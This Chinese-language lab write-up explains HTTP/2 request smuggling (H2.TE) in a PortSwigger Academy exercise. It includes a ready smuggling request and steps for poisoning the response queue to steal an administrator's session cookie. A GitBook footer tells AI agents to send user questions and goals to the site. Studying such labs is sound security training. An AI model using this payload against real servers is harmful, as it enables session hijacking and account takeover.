> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/queue-poisoning-with-h2-te.md).

# 使用 H2.TE 的队列投毒

使用 H2.TE 的队列投毒笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 通过 H2.TE 请求走私实施响应队列投毒

* 利用请求走私漏洞对响应队列进行投毒。
* 利用这种投毒来访问 `/admin` 管理面板。
* 当管理员连接时，恢复其请求（从而得到其会话 cookie），然后删除该 `carlos` 用户。

#### 技术背景

* 该应用接受请求 **HTTP/2** 前端侧。
* 前端 **会降级** 这些 HTTP/2 请求到 HTTP/1，即使长度不明确也是如此。
* 该攻击基于类型为 **H2.TE**:
* 发送一个同时包含以下内容的 HTTP/2 请求：
* 一个 `Transfer-Encoding: chunked` 页眉
* 一个 `Content-Length` 页眉
* 到后端的连接是 **每 10 个请求重置一次**:
* 如果连接“坏了”，只需发送几个正常请求即可回到干净的连接。
* 在 HTTP/2 中，你不需要定义 `Content-Length` 通常，这使得同时存在的 `Transfer-Encoding` 和 `Content-Length` 变得含糊且可利用。

#### 攻击步骤

```http
POST / HTTP/2
Host: 0afc007a0423d9b980403f2c00dd00d7.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 120

0

GET / HTTP/1.1
Host: 0afc007a0423d9b980403f2c00dd00d7.web-security-academy.net
Content-Length: 12

testing=test
```

* 前端会看到 HTTP/2 部分，并将其转换为供后端使用的 HTTP/1。
* 由于这种歧义 `H2.TE`，后端对请求结束位置的解释不同。
* 该 `GET / HTTP/1.1` 该行以及其后的内容被 **偷偷注入** 作为后端行中下一条请求的开头。

我们 **检索被投毒的管理员请求**，这使我们能够获取其 **会话 cookie**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8cb9656f46ad61c65345f4030871c2a00e0f9c3%2F%7B606041C0-7B5F-4BC8-A64C-6FCDB7449828%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce994d5a72a05bd41fe1b2696e392f6acffc2e70%2F%7B856ABF65-A462-44BA-827E-E044AB503A36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/queue-poisoning-with-h2-te.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
